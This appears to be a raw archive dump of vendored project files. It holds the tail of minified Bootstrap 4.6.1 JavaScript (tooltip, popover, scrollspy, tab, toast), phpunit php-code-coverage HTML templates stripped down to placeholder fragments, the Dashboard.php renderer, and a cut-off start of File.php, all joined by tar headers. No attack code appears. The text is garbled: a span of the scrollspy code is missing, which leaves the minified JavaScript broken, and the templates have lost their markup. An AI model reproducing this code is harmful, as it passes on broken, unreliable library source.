a.default(this.element,s,this._getPopperConfig(u)),o.default(s).addClass(Rt),o.default(s).addClass(this.config.customClass),"ontouchstart"in document.documentElement&&o.default(document.body).children().on("mouseover",null,o.default.noop);var c=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,o.default(t.element).trigger(t.constructor.Event.SHOWN),e===qt&&t._leave(null,t)};if(o.default(this.tip).hasClass(Lt)){var h=d.getTransitionDurationFromElement(this.tip);o.default(this.tip).one(d.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},e.hide=function(t){var e=this,n=this.getTipElement(),i=o.default.Event(this.constructor.Event.HIDE),a=function(){e._hoverState!==xt&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),o.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(o.default(this.element).trigger(i),!i.isDefaultPrevented()){if(o.default(n).removeClass(Rt),"ontouchstart"in document.documentElement&&o.default(document.body).children().off("mouseover",null,o.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,o.default(this.tip).hasClass(Lt)){var s=d.getTransitionDurationFromElement(n);o.default(n).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-tooltip-"+t)},e.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},e.setContent=function(){var t=this.getTipElement();this.setElementContent(o.default(t.querySelectorAll(".tooltip-inner")),this.getTitle()),o.default(t).removeClass("fade show")},e.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=At(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?o.default(e).parent().is(t)||t.empty().append(e):t.text(o.default(e).text())},e.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},e._getPopperConfig=function(t){var e=this;return r({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},e._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t.config.offset(e.offsets,t.element)),e}:e.offset=this.config.offset,e},e._getContainer=function(){return!1===this.config.container?document.body:d.isElement(this.config.container)?o.default(this.config.container):o.default(document).find(this.config.container)},e._getAttachment=function(t){return Bt[t.toUpperCase()]},e._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)o.default(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n=e===Ft?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,i=e===Ft?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;o.default(t.element).on(n,t.config.selector,(function(e){return t._enter(e)})).on(i,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},o.default(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=r({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Qt:Ft]=!0),o.default(e.getTipElement()).hasClass(Rt)||e._hoverState===xt?e._hoverState=xt:(clearTimeout(e._timeout),e._hoverState=xt,e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){e._hoverState===xt&&e.show()}),e.config.delay.show):e.show())},e._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Qt:Ft]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=qt,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){e._hoverState===qt&&e.hide()}),e.config.delay.hide):e.hide())},e._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=o.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==Pt.indexOf(t)&&delete e[t]})),"number"==typeof(t=r({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),d.typeCheckConfig(It,t,this.constructor.DefaultType),t.sanitize&&(t.template=At(t.template,t.whiteList,t.sanitizeFn)),t},e._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},e._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(jt);null!==e&&e.length&&t.removeClass(e.join(""))},e._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},e._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(o.default(t).removeClass(Lt),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(kt),a="object"==typeof e&&e;if((i||!/dispose|hide/.test(e))&&(i||(i=new t(this,a),n.data(kt,i)),"string"==typeof e)){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}},{key:"Default",get:function(){return Ht}},{key:"NAME",get:function(){return It}},{key:"DATA_KEY",get:function(){return kt}},{key:"Event",get:function(){return Mt}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return Ut}}]),t}();o.default.fn.tooltip=Wt._jQueryInterface,o.default.fn.tooltip.Constructor=Wt,o.default.fn.tooltip.noConflict=function(){return o.default.fn.tooltip=Ot,Wt._jQueryInterface};var Vt="bs.popover",zt=o.default.fn.popover,Kt=new RegExp("(^|\\s)bs-popover\\S+","g"),Xt=r({},Wt.Default,{placement:"right",trigger:"click",content:"",template:''}),Yt=r({},Wt.DefaultType,{content:"(string|element|function)"}),$t={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},Jt=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,u(e,n);var a=i.prototype;return a.isWithContent=function(){return this.getTitle()||this._getContent()},a.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-popover-"+t)},a.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},a.setContent=function(){var t=o.default(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(".popover-body"),e),t.removeClass("fade show")},a._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},a._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(Kt);null!==e&&e.length>0&&t.removeClass(e.join(""))},i._jQueryInterface=function(t){return this.each((function(){var e=o.default(this).data(Vt),n="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new i(this,n),o.default(this).data(Vt,e)),"string"==typeof t)){if("undefined"==typeof e[t])throw new TypeError('No method named "'+t+'"');e[t]()}}))},l(i,null,[{key:"VERSION",get:function(){return"4.6.1"}},{key:"Default",get:function(){return Xt}},{key:"NAME",get:function(){return"popover"}},{key:"DATA_KEY",get:function(){return Vt}},{key:"Event",get:function(){return $t}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return Yt}}]),i}(Wt);o.default.fn.popover=Jt._jQueryInterface,o.default.fn.popover.Constructor=Jt,o.default.fn.popover.noConflict=function(){return o.default.fn.popover=zt,Jt._jQueryInterface};var Gt="scrollspy",Zt="bs.scrollspy",te=o.default.fn[Gt],ee="active",ne="position",ie=".nav, .list-group",oe={offset:10,method:"auto",target:""},ae={offset:"number",method:"string",target:"(string|element)"},se=function(){function t(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,o.default(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return n._process(t)})),this.refresh(),this._process()}var e=t.prototype;return e.refresh=function(){var t=this,e=this._scrollElement===this._scrollElement.window?"offset":ne,n="auto"===this._config.method?e:this._config.method,i=n===ne?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var e,a=d.getSelectorFromElement(t);if(a&&(e=document.querySelector(a)),e){var s=e.getBoundingClientRect();if(s.width||s.height)return[o.default(e)[n]().top+i,a]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},e.dispose=function(){o.default.removeData(this._element,Zt),o.default(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},e._getConfig=function(t){if("string"!=typeof(t=r({},oe,"object"==typeof t&&t?t:{})).target&&d.isElement(t.target)){var e=o.default(t.target).attr("id");e||(e=d.getUID(Gt),o.default(t.target).attr("id",e)),t.target="#"+e}return d.typeCheckConfig(Gt,t,ae),t},e._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},e._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},e._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},e._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;)this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t li > .active",ge=function(){function t(t){this._element=t}var e=t.prototype;return e.show=function(){var t=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&o.default(this._element).hasClass(ue)||o.default(this._element).hasClass("disabled"))){var e,n,i=o.default(this._element).closest(".nav, .list-group")[0],a=d.getSelectorFromElement(this._element);if(i){var s="UL"===i.nodeName||"OL"===i.nodeName?he:ce;n=(n=o.default.makeArray(o.default(i).find(s)))[n.length-1]}var l=o.default.Event("hide.bs.tab",{relatedTarget:this._element}),r=o.default.Event("show.bs.tab",{relatedTarget:n});if(n&&o.default(n).trigger(l),o.default(this._element).trigger(r),!r.isDefaultPrevented()&&!l.isDefaultPrevented()){a&&(e=document.querySelector(a)),this._activate(this._element,i);var u=function(){var e=o.default.Event("hidden.bs.tab",{relatedTarget:t._element}),i=o.default.Event("shown.bs.tab",{relatedTarget:n});o.default(n).trigger(e),o.default(t._element).trigger(i)};e?this._activate(e,e.parentNode,u):u()}}},e.dispose=function(){o.default.removeData(this._element,le),this._element=null},e._activate=function(t,e,n){var i=this,a=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?o.default(e).children(ce):o.default(e).find(he))[0],s=n&&a&&o.default(a).hasClass(fe),l=function(){return i._transitionComplete(t,a,n)};if(a&&s){var r=d.getTransitionDurationFromElement(a);o.default(a).removeClass(de).one(d.TRANSITION_END,l).emulateTransitionEnd(r)}else l()},e._transitionComplete=function(t,e,n){if(e){o.default(e).removeClass(ue);var i=o.default(e.parentNode).find("> .dropdown-menu .active")[0];i&&o.default(i).removeClass(ue),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}o.default(t).addClass(ue),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),d.reflow(t),t.classList.contains(fe)&&t.classList.add(de);var a=t.parentNode;if(a&&"LI"===a.nodeName&&(a=a.parentNode),a&&o.default(a).hasClass("dropdown-menu")){var s=o.default(t).closest(".dropdown")[0];if(s){var l=[].slice.call(s.querySelectorAll(".dropdown-toggle"));o.default(l).addClass(ue)}t.setAttribute("aria-expanded",!0)}n&&n()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(le);if(i||(i=new t(this),n.data(le,i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}}]),t}();o.default(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),ge._jQueryInterface.call(o.default(this),"show")})),o.default.fn.tab=ge._jQueryInterface,o.default.fn.tab.Constructor=ge,o.default.fn.tab.noConflict=function(){return o.default.fn.tab=re,ge._jQueryInterface};var me="bs.toast",pe=o.default.fn.toast,_e="hide",ve="show",ye="showing",be="click.dismiss.bs.toast",Ee={animation:!0,autohide:!0,delay:500},Te={animation:"boolean",autohide:"boolean",delay:"number"},we=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=o.default.Event("show.bs.toast");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var n=function(){t._element.classList.remove(ye),t._element.classList.add(ve),o.default(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove(_e),d.reflow(this._element),this._element.classList.add(ye),this._config.animation){var i=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,n).emulateTransitionEnd(i)}else n()}},e.hide=function(){if(this._element.classList.contains(ve)){var t=o.default.Event("hide.bs.toast");o.default(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},e.dispose=function(){this._clearTimeout(),this._element.classList.contains(ve)&&this._element.classList.remove(ve),o.default(this._element).off(be),o.default.removeData(this._element,me),this._element=null,this._config=null},e._getConfig=function(t){return t=r({},Ee,o.default(this._element).data(),"object"==typeof t&&t?t:{}),d.typeCheckConfig("toast",t,this.constructor.DefaultType),t},e._setListeners=function(){var t=this;o.default(this._element).on(be,'[data-dismiss="toast"]',(function(){return t.hide()}))},e._close=function(){var t=this,e=function(){t._element.classList.add(_e),o.default(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove(ve),this._config.animation){var n=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},e._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(me);if(i||(i=new t(this,"object"==typeof e&&e),n.data(me,i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e](this)}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}},{key:"DefaultType",get:function(){return Te}},{key:"Default",get:function(){return Ee}}]),t}();o.default.fn.toast=we._jQueryInterface,o.default.fn.toast.Constructor=we,o.default.fn.toast.noConflict=function(){return o.default.fn.toast=pe,we._jQueryInterface},t.Alert=g,t.Button=E,t.Carousel=P,t.Collapse=V,t.Dropdown=lt,t.Modal=Ct,t.Popover=Jt,t.Scrollspy=se,t.Tab=ge,t.Toast=we,t.Tooltip=Wt,t.Util=d,Object.defineProperty(t,"__esModule",{value:!0})})); //# sourceMappingURL=bootstrap.min.js.mapvendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard_branch.html.dist000064400000015507147577714370031444 0ustar00res/readability Dashboard for {{full_path}}

              Classes

              Coverage Distribution

              Complexity

              Insufficient Coverage

              {{insufficient_coverage_classes}}
              Class Coverage

              Project Risks

              {{project_risks_classes}}
              Class CRAP

              Methods

              Coverage Distribution

              Complexity

              Insufficient Coverage

              {{insufficient_coverage_methods}}
              Method Coverage

              Project Risks

              {{project_risks_methods}}
              Method CRAP
              res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file.html.dist000064400000004356147577714370027176 0ustar00 Code Coverage for {{full_path}}
              {{items}}
               
              Code Coverage
               
              Lines
              Functions and Methods
              Classes and Traits
              {{lines}} {{structure}}
              vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item_branch.html.dist000064400000002247147577714370032010 0ustar00res/readability

        {{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{branches_bar}}
        {{branches_executed_percent}}
        {{branches_number}}
        {{paths_bar}}
        {{paths_executed_percent}}
        {{paths_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{crap}}
        {{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{crap}} {{classes_bar}}
        {{classes_tested_percent}}
        {{classes_number}}
        {{lineNumber}}{{lineContent}}
        {{insufficient_coverage_classes}}
        Class Coverage

        Project Risks

        {{project_risks_classes}}
        Class CRAP

        Methods

        Coverage Distribution

        Complexity

        Insufficient Coverage

        {{insufficient_coverage_methods}}
        Method Coverage

        Project Risks

        {{project_risks_methods}}
        Method CRAP
        vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item.html.dist000064400000001501147577714370031207 0ustar00res/readability {{icon}}{{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{classes_bar}}
        {{classes_tested_percent}}
        {{classes_number}}
        res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/lines.html.dist000064400000000145147577714370027361 0ustar00 {{lines}}
        vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_branch.html.dist000064400000004152147577714370031513 0ustar00res/readability Code Coverage for {{full_path}}
        {{items}}
         
        Code Coverage
         
        Lines
        Branches
        Paths
        Functions and Methods
        Classes and Traits

        Legend

        Low: 0% to {{low_upper_bound}}% Medium: {{low_upper_bound}}% to {{high_lower_bound}}% High: {{high_lower_bound}}% to 100%

        Generated by php-code-coverage {{version}} using {{runtime}}{{generator}} at {{date}}.

        readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory.html.dist000064400000003714147577714370030201 0ustar00res Code Coverage for {{full_path}}
        {{items}}
         
        Code Coverage
         
        Lines
        Functions and Methods
        Classes and Traits

        Legend

        Low: 0% to {{low_upper_bound}}% Medium: {{low_upper_bound}}% to {{high_lower_bound}}% High: {{high_lower_bound}}% to 100%

        Generated by php-code-coverage {{version}} using {{runtime}}{{generator}} at {{date}}.

        vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/directory_item_branch.html.dist000064400000002473147577714370032535 0ustar00res/readability {{icon}}{{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{branches_bar}}
        {{branches_executed_percent}}
        {{branches_number}}
        {{paths_bar}}
        {{paths_executed_percent}}
        {{paths_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{classes_bar}}
        {{classes_tested_percent}}
        {{classes_number}}
        readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/method_item.html.dist000064400000001255147577714370030471 0ustar00res {{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{crap}} vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item_branch.html.dist000064400000002556147577714370031452 0ustar00res/readability {{name}} {{lines_bar}}
        {{lines_executed_percent}}
        {{lines_number}}
        {{branches_bar}}
        {{branches_executed_percent}}
        {{branches_number}}
        {{paths_bar}}
        {{paths_executed_percent}}
        {{paths_number}}
        {{methods_bar}}
        {{methods_tested_percent}}
        {{methods_number}}
        {{crap}} {{classes_bar}}
        {{classes_tested_percent}}
        {{classes_number}}
        vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar.html.dist000064400000000447147577714370030614 0ustar00res/readability
        {{percent}}% covered ({{level}})
        readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_branch.html.dist000064400000004613147577714370030430 0ustar00res Code Coverage for {{full_path}}
        {{items}}
         
        Code Coverage
         
        Lines
        Branches
        Paths
        Functions and Methods
        Classes and Traits
        {{lines}} {{structure}}
        readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/branches.html.dist000064400000000764147577714370027764 0ustar00res

        Branches

        Below are the source code lines that represent each code branch as identified by Xdebug. Please note a branch is not necessarily coterminous with a line, a line may contain multiple branches and therefore show up more than once. Please also be aware that some branches may be implicit rather than explicit, e.g. an if statement always has an else as part of its logical flow even if you didn't write one.

        {{branches}} vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar_branch.html.dist000064400000000447147577714370032131 0ustar00res/readability
        {{percent}}% covered ({{level}})
        res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/paths.html.dist000064400000000762147577714370027373 0ustar00

        Paths

        Below are the source code lines that represent each code path as identified by Xdebug. Please note a path is not necessarily coterminous with a line, a line may contain multiple paths and therefore show up more than once. Please also be aware that some paths may include implicit rather than explicit branches, e.g. an if statement always has an else as part of its logical flow even if you didn't write one.

        {{paths}} res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php000064400000023163147577714370025251 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Html; use function array_values; use function arsort; use function asort; use function count; use function explode; use function floor; use function json_encode; use function sprintf; use function str_replace; use SebastianBergmann\CodeCoverage\Node\AbstractNode; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\Template\Template; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Dashboard extends Renderer { public function render(DirectoryNode $node, string $file): void { $classes = $node->classesAndTraits(); $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'dashboard_branch.html' : 'dashboard.html'); $template = new Template( $templateName, '{{', '}}' ); $this->setCommonTemplateVariables($template, $node); $baseLink = $node->id() . '/'; $complexity = $this->complexity($classes, $baseLink); $coverageDistribution = $this->coverageDistribution($classes); $insufficientCoverage = $this->insufficientCoverage($classes, $baseLink); $projectRisks = $this->projectRisks($classes, $baseLink); $template->setVar( [ 'insufficient_coverage_classes' => $insufficientCoverage['class'], 'insufficient_coverage_methods' => $insufficientCoverage['method'], 'project_risks_classes' => $projectRisks['class'], 'project_risks_methods' => $projectRisks['method'], 'complexity_class' => $complexity['class'], 'complexity_method' => $complexity['method'], 'class_coverage_distribution' => $coverageDistribution['class'], 'method_coverage_distribution' => $coverageDistribution['method'], ] ); $template->renderTo($file); } protected function activeBreadcrumb(AbstractNode $node): string { return sprintf( '
      • ' . "\n" . ' ' . "\n", $node->name() ); } /** * Returns the data for the Class/Method Complexity charts. */ private function complexity(array $classes, string $baseLink): array { $result = ['class' => [], 'method' => []]; foreach ($classes as $className => $class) { foreach ($class['methods'] as $methodName => $method) { if ($className !== '*') { $methodName = $className . '::' . $methodName; } $result['method'][] = [ $method['coverage'], $method['ccn'], sprintf( '%s', str_replace($baseLink, '', $method['link']), $methodName ), ]; } $result['class'][] = [ $class['coverage'], $class['ccn'], sprintf( '%s', str_replace($baseLink, '', $class['link']), $className ), ]; } return [ 'class' => json_encode($result['class']), 'method' => json_encode($result['method']), ]; } /** * Returns the data for the Class / Method Coverage Distribution chart. */ private function coverageDistribution(array $classes): array { $result = [ 'class' => [ '0%' => 0, '0-10%' => 0, '10-20%' => 0, '20-30%' => 0, '30-40%' => 0, '40-50%' => 0, '50-60%' => 0, '60-70%' => 0, '70-80%' => 0, '80-90%' => 0, '90-100%' => 0, '100%' => 0, ], 'method' => [ '0%' => 0, '0-10%' => 0, '10-20%' => 0, '20-30%' => 0, '30-40%' => 0, '40-50%' => 0, '50-60%' => 0, '60-70%' => 0, '70-80%' => 0, '80-90%' => 0, '90-100%' => 0, '100%' => 0, ], ]; foreach ($classes as $class) { foreach ($class['methods'] as $methodName => $method) { if ($method['coverage'] === 0) { $result['method']['0%']++; } elseif ($method['coverage'] === 100) { $result['method']['100%']++; } else { $key = floor($method['coverage'] / 10) * 10; $key = $key . '-' . ($key + 10) . '%'; $result['method'][$key]++; } } if ($class['coverage'] === 0) { $result['class']['0%']++; } elseif ($class['coverage'] === 100) { $result['class']['100%']++; } else { $key = floor($class['coverage'] / 10) * 10; $key = $key . '-' . ($key + 10) . '%'; $result['class'][$key]++; } } return [ 'class' => json_encode(array_values($result['class'])), 'method' => json_encode(array_values($result['method'])), ]; } /** * Returns the classes / methods with insufficient coverage. */ private function insufficientCoverage(array $classes, string $baseLink): array { $leastTestedClasses = []; $leastTestedMethods = []; $result = ['class' => '', 'method' => '']; foreach ($classes as $className => $class) { foreach ($class['methods'] as $methodName => $method) { if ($method['coverage'] < $this->highLowerBound) { $key = $methodName; if ($className !== '*') { $key = $className . '::' . $methodName; } $leastTestedMethods[$key] = $method['coverage']; } } if ($class['coverage'] < $this->highLowerBound) { $leastTestedClasses[$className] = $class['coverage']; } } asort($leastTestedClasses); asort($leastTestedMethods); foreach ($leastTestedClasses as $className => $coverage) { $result['class'] .= sprintf( ' %s%d%%' . "\n", str_replace($baseLink, '', $classes[$className]['link']), $className, $coverage ); } foreach ($leastTestedMethods as $methodName => $coverage) { [$class, $method] = explode('::', $methodName); $result['method'] .= sprintf( ' %s%d%%' . "\n", str_replace($baseLink, '', $classes[$class]['methods'][$method]['link']), $methodName, $method, $coverage ); } return $result; } /** * Returns the project risks according to the CRAP index. */ private function projectRisks(array $classes, string $baseLink): array { $classRisks = []; $methodRisks = []; $result = ['class' => '', 'method' => '']; foreach ($classes as $className => $class) { foreach ($class['methods'] as $methodName => $method) { if ($method['coverage'] < $this->highLowerBound && $method['ccn'] > 1) { $key = $methodName; if ($className !== '*') { $key = $className . '::' . $methodName; } $methodRisks[$key] = $method['crap']; } } if ($class['coverage'] < $this->highLowerBound && $class['ccn'] > count($class['methods'])) { $classRisks[$className] = $class['crap']; } } arsort($classRisks); arsort($methodRisks); foreach ($classRisks as $className => $crap) { $result['class'] .= sprintf( ' %s%d' . "\n", str_replace($baseLink, '', $classes[$className]['link']), $className, $crap ); } foreach ($methodRisks as $methodName => $crap) { [$class, $method] = explode('::', $methodName); $result['method'] .= sprintf( ' %s%d' . "\n", str_replace($baseLink, '', $classes[$class]['methods'][$method]['link']), $methodName, $method, $crap ); } return $result; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php000064400000121500147577714370024233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Html; use const ENT_COMPAT; use const ENT_HTML401; use const ENT_SUBSTITUTE; use const T_ABSTRACT; use const T_ARRAY; use const T_AS; use const T_BREAK; use const T_CALLABLE; use const T_CASE; use const T_CATCH; use const T_CLASS; use const T_CLONE; use const T_COMMENT; use const T_CONST; use const T_CONTINUE; use const T_DECLARE; use const T_DEFAULT; use const T_DO; use const T_DOC_COMMENT; use const T_ECHO; use const T_ELSE; use const T_ELSEIF; use const T_EMPTY; use const T_ENDDECLARE; use const T_ENDFOR; use const T_ENDFOREACH; use const T_ENDIF; use const T_ENDSWITCH; use const T_ENDWHILE; use const T_EVAL; use const T_EXIT; use const T_EXTENDS; use const T_FINAL; use const T_FINALLY; use const T_FOR; use const T_FOREACH; use const T_FUNCTION; use const T_GLOBAL; use const T_GOTO; use const T_HALT_COMPILER; use const T_IF; use const T_IMPLEMENTS; use const T_INCLUDE; use const T_INCLUDE_ONCE; use const T_INLINE_HTML; use const T_INSTANCEOF; use const T_INSTEADOF; use const T_INTERFACE; use const T_ISSET; use const T_LIST; use const T_NAMESPACE; use const T_NEW; use const T_PRINT; use const T_PRIVATE; use const T_PROTECTED; use const T_PUBLIC; use const T_REQUIRE; use const T_REQUIRE_ONCE; use const T_RETURN; use const T_STATIC; use const T_SWITCH; use const T_THROW; use const T_TRAIT; use const T_TRY; use const T_UNSET; use const T_USE; use const T_VAR; use const T_WHILE; use const T_YIELD; use const 